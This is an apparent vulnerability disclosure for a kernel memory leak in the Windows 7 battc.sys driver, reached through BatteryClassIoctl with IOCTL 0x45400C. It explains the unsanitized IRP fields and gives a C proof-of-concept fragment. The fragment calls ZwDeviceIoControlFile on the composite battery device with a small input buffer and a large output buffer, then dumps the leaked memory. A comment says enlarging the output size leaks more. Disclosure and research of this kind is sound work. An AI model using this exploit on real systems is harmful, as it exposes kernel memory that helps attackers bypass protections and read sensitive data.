BATTC.SYS!BatteryClassIoctl Kernel Memory Disclosure

Description
Battc.sys is prone to kernel memory disclosure when the "BatteryClassIoctl" function processes IO Control Code 0x45400C. By calling the "ntdll!ZwDeviceIoControlFile" function on device "\device\compositebattery" with the "InputBufferLength" parameter set to a value much less than that of the "OutputBufferLength" parameter, we cause the "nt!IopCompleteRequest" function to leak data to the output buffer. This is due "BatteryClassIoctl" function not sanitizing

pIRP->IoStatus.Information and

pIRP->Tail.Overlay.CurrentStackLocation.Parameters.DeviceIoControl.OutputBufferLength and

pIRP->AssociatedIrp.SystemBuffer

.

---- Reproduced as follows ---------------

    memset(pIn,0xCC,0x1000);

    memset(pOut,0xCC,0x1000);

_IO_STATUS_BLOCK IOB={0};

    ulong IoCode = 0x45400C;


ulong InSize = 0x10;

ulong OutSize = 0x1000;//increase this value to disclose more

printf("InSize: %X, OutSize: %X\r\n",InSize,OutSize);

int ret = ZwDeviceIoControlFile(hDevice,
                            0 /*hEVent*/,
                            0 /*ApcRoutine*/,
                            0 /*ApcContext*/,
                            &IOB,
                            IoCode,
                            pIn,
                            InSize,
                            pOut,
                            OutSize);

printf("ZwDeviceIoControlFile, ret: %X\r\n",ret);
DumpHex_8(pOut,0x1000);
//------------------------------------

Vulnerable file version: 6.1.7600.16385

Test on Windows 7-64Bit SP1